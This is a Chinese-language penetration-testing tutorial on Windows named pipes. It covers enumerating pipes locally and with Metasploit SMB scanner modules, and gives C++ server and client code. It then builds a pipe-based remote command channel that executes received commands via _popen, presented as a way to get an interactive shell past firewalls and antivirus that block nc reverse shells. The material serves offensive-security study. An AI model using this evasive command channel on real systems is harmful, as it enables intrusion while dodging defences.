简介
命名管道是一个具有名称,可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端通许提供独立的管道。使用实例可使多个管道客户端同时使用相同的命名管道。
命名管道的名称在本系统中是唯一的。
命名管道可以被任意符合权限要求的进程访问。
命名管道只能在本地创建。
命名管道的客户端可以是本地进程(本地访问:\\.\pipe\PipeName)或者是远程进程(访问远程:\\ServerName\pipe\PipeName)
命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。
获取命名管道
本地查看
powershellv3以下的方式:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
v3以上:
Get-ChildItem \\.\pipe\
process explorer:
\Device\NamedPipe
浏览器直接获取:
file://.//pipe//
远程查看
利用msf下的两个模块即可
use auxiliary/scanner/smb/pipe_auditor
use auxiliary/scanner/smb/pipe_dcerpc_auditor
msf6 auxiliary(scanner/smb/pipe_auditor) > run
[+] 192.168.159.14:139 - Pipes: \netlogon, \lsarpc, \samr, \browser
[*] 192.168.159.14: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/pipe_auditor) > options
Module options (auxiliary/scanner/smb/pipe_auditor):
Name Current Setting Required Description
---- --------------- -------- -----------
NAMED_PIPES /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.tx yes List of named pipes to check
t
RHOSTS 192.168.159.14 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/pipe_auditor) > run
[+] 192.168.159.14:139 - Pipes: \netlogon, \lsarpc, \samr, \browser
[*] 192.168.159.14: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/pipe_auditor) >
msf6 auxiliary(scanner/smb/pipe_auditor) > use auxiliary/scanner/smb/pipe_dcerpc_auditor
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > options
Module options (auxiliary/scanner/smb/pipe_dcerpc_auditor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.159.14 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SMBDomain . no The Windows domain to use for authentication
SMBPIPE BROWSER yes The pipe name to use (BROWSER)
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > run
UUID 00000131-0000-0000-c000-000000000046 0.0 OPEN VIA BROWSER
UUID 00000134-0000-0000-c000-000000000046 0.0 OPEN VIA BROWSER
UUID 00000143-0000-0000-c000-000000000046 0.0 OPEN VIA BROWSER
UUID 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 1.0 OPEN VIA BROWSER
UUID 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 1.0 OPEN VIA BROWSER
UUID 12b81e99-f207-4a4c-85d3-77b42f76fd14 1.0 OPEN VIA BROWSER
UUID 18f70770-8e64-11cf-9af1-0020af6e72f4 0.0 OPEN VIA BROWSER
UUID 1ff70682-0a51-30e8-076d-740be8cee98b 1.0 OPEN VIA BROWSER
UUID 300f3532-38cc-11d0-a3f0-0020af6b0add 1.2 OPEN VIA BROWSER
UUID 378e52b0-c0a9-11cf-822d-00aa0051e40f 1.0 OPEN VIA BROWSER
UUID 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 1.0 OPEN VIA BROWSER
UUID 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 1.1 OPEN VIA BROWSER
UUID 4b324fc8-1670-01d3-1278-5a47bf6ee188 3.0 OPEN VIA BROWSER
UUID 621dff68-3c39-4c6c-aae3-e68e2c6503ad 1.0 OPEN VIA BROWSER
UUID 629b9f66-556c-11d1-8dd2-00aa004abd5e 3.0 OPEN VIA BROWSER
UUID 63fbe424-2029-11d1-8db8-00aa004abd5e 1.0 OPEN VIA BROWSER
UUID 6bffd098-a112-3610-9833-012892020162 0.0 OPEN VIA BROWSER
UUID 6bffd098-a112-3610-9833-46c3f87e345a 1.0 OPEN VIA BROWSER
UUID 8d0ffe72-d252-11d0-bf8f-00c04fd9126b 1.0 OPEN VIA BROWSER
UUID afa8bd80-7d8a-11c9-bef4-08002b102989 1.0 OPEN VIA BROWSER
UUID f50aac00-c7f3-428e-a022-a6b71bfb9d43 1.0 OPEN VIA BROWSER
[*] 192.168.159.14: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) >
命名管道的创建&通信
基本介绍
基本流程:
创建命名管道-连接命名管道-读写命名管道
创建管道的名字规范为\\.\pipe\管道名称,采用的是UNC格式
第一段:指定服务器名称,.代表北极,*代表当前网络字段、域名、服务
第二段:硬编码字符串,表示改文件从属于NTFS
第三段:唯一定义标识的一个命名管道名字,能够设置多层目录
创建管道的时候对管道的访问属性有双向、单向,(c->s,s->c)
默认情况是无法直接使用命名管道来操控计算机通信的,此处也使用windowsapi实现
常用函数为:
CreateNamedPipe
ConnectNamedPipe
WaitNamedPipe
CreateFile
ReadFile
基本服务端写法:
CreateNamedPipe创建一个命名管道的实例句柄
ConnectNamedPipe在命名管道实例上监听客户机的连接请求
ReadFile、WriteFile从客户机接收数据或将数据发送到客户机
DisconnectNamedPipe关闭命名管道连接
CloseHandle关闭命名管道实例句柄
基本客户端写法:
此处注意,客户机不可创建命名管道实例,但可以打开来自服务器的现成实例
WaitNamePipe等待一个命名管道实例提供给自己使用
CreateFile建立与命名管道的连接
ReadFile、WriteFile分别想服务器接收数据、发送数据
CloseHandle关闭打开的命名管道会话
基本实现方式
服务端
#include<Windows.h>
#include<stdio.h>
#include<iostream>
using namespace std;
int main(int argc, char* argv[]) {
HANDLE MyServerPipe;//服务端句柄 创建成功时则返回服务段端句柄
char recv_buf[1024];
DWORD rel_buf;
//https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
//创建命名管道(管道名,管道中的数据流仅从客户端到服务器,数据作为字节流从管道中读取&启用阻塞模式,管道创的最大
//实例数255,输出缓冲区保留字节数,输入缓冲区保留字节数,默认超时,命名管道获取默认安全描述符并且句柄不能被继承
MyServerPipe = CreateNamedPipe("\\\\.\\pipe\\serverpipe", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (MyServerPipe == INVALID_HANDLE_VALUE) {//如果失败
cout << "create pipe fail " << endl;
cout << GetLastError() << endl;
CloseHandle(MyServerPipe);//关闭句柄
return 1;
}
else
{
cout << "create pipe success " << endl;
}
//允许命名管道服务器进程等待客户端连接到命名管道实例
//https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe
if (ConnectNamedPipe(MyServerPipe, NULL)) {//返回的服务器句柄,指向OVERLAPPED结构的指针
printf("connect namepipe succcess ");
memset(recv_buf, 0, 1024);//内存赋值
if (ReadFile(MyServerPipe, recv_buf, 1024, &rel_buf, NULL)) {
//目标句柄,接收数据的缓冲区指针,读取的最大字节数,一个指向接收使用同步serverpipe参数时读取的字节数的变量的指针
cout << "readfile success, file is :" << endl;
cout << recv_buf << endl;
}
else
{
cout << "readfile fail " << endl;
CloseHandle(MyServerPipe);
return 1;
}
}
CloseHandle(MyServerPipe);
return 0;
}
客户端
#include<Windows.h>
#include<stdio.h>
#include<iostream>
using namespace std;
int main(int argc, char* argv[]) {
HANDLE client_pipe;
char send_file[] = "yyy";
DWORD rel_buf;//实际字节数
if (WaitNamedPipe("\\\\.\\pipe\\serverpipe", NMPWAIT_WAIT_FOREVER)) {//建立连接 https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea
//NMPWAIT_WAIT_FOREVER 在命名管道的实例可用之前,该函数不会返回
//https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
//目标句柄,写入权限,设备共享模式(此处如果其他进程请求删除、读取或写入访问权限,则阻止它们打开文件或设备)
//CreateFile返回的句柄不能由应用程序可能创建的任何子进程继承,文件以外设备设定,默认值,为null即可
client_pipe = CreateFile("\\\\.\\pipe\\serverpipe", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (client_pipe == INVALID_HANDLE_VALUE) {//如果失败
cout << "open pipe fail " << endl;
cout << GetLastError() << endl;
CloseHandle(client_pipe);//关闭句柄
return 1;
}
else
{
cout << "open pipe success " << endl;
if (WriteFile(client_pipe, send_file, 1024, &rel_buf, NULL)) { //https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile
cout << "send message success" << endl;
}
else {
cout << "send message fail" << endl;
cout << GetLastError() << endl;
CloseHandle(client_pipe);
return 1;
}
}
CloseHandle(client_pipe);
}
return 0;
}
实现效果
传输客户端提供的数据效果如下
交互命令
命名管道有两种的通信模式,字节模式&消息模式,在CreateNamedPipe创建命名管道时候分别用PIPE_TYPE_BYTE或者PIPE_TYPE_MESSAGE进行设置
对于字节模式,信息以连续字节流的形式在客户与服务器之间流动。这也就意味着对于客户机应用和服务器应用在任何一个特定的时间段内都无法准确知道有多少字节从管道中读出或写入。在这种通信模式中,一方在向管道写入某个数量的字节后并不能保证管道的另一方能读出等量的字节
对于消息模式,客户机和服务器则是通过一系列不连续的数据包进行数据的收发。从管道发出的每一条消息都必须作为一条完整的消息读入
此处利用消息模式实现
服务端核心代码
while (true) {
//读取客户端在管道写入的命令并执行命令
char cmd_buf[1024 * 4];
memset(cmd_buf, 0, sizeof(cmd_buf));
if (!ReadFile(MyServerPipe, cmd_buf, sizeof(cmd_buf), &dwRead, 0)) {
cout << "data is empty" << endl;
break;
}
printf("receive command : %s\n", cmd_buf);
char buffer[1024 * 4];
FILE* pipe = _popen(cmd_buf, "r"); //打开管道
if (!pipe) {
cout << "openpipe fail" << endl;
_pclose(pipe);
}
//写入到writebuf内
while (!feof(pipe)) {
if (fgets(buffer, 4096, pipe)) {
strcat(write_buf, buffer);
}
}
_pclose(pipe);
//将执行后的命令结果写入管道内,提供给客户端读取
if (!WriteFile(MyServerPipe, write_buf, strlen(write_buf), &dwWrite, NULL)) {
printf("WriteFile Failed\n");
break;
}
//cout << write_buf << endl;
客户端核心代码
while (true) {
cout << "your command : " << endl;
cin >> cmd_buf;//执行的命令
cmd_buf[strlen(cmd_buf) + 1] = '\0';
WriteFile(serverPipe, cmd_buf, strlen(cmd_buf), &dwWrite, 0);
printf("cmd: %s\n", cmd_buf);
memset(cmd_buf, 0, 4096);
//命令结果
ReadFile(serverPipe, data_buf, sizeof(data_buf), &dwRead, 0);
printf("data: %s\n", data_buf);
memset(data_buf, 0, 4096);
利用场景,当目标使用nc进行反弹shell,遭遇防火墙拦截,可尝试使用管道进行通信,常规拦截如下
实际网络通信
同样方式可实现网络通信,进步深入能够参照psexec原理自行构造一个命令执行的通道,命令执行如下
确认开启防火墙如下,正常无法进行反弹shell操作,常规nc杀软也会进行查杀
此处利用管道可获取交互shell,且防火墙不弹窗,杀软无拦截
数据包查看
查看中间smb数据包,可发现使用命名管道进行通信
部分命令执行结果,数据内容并未进行加密,实战中内网数据传输可进行加密后进行传输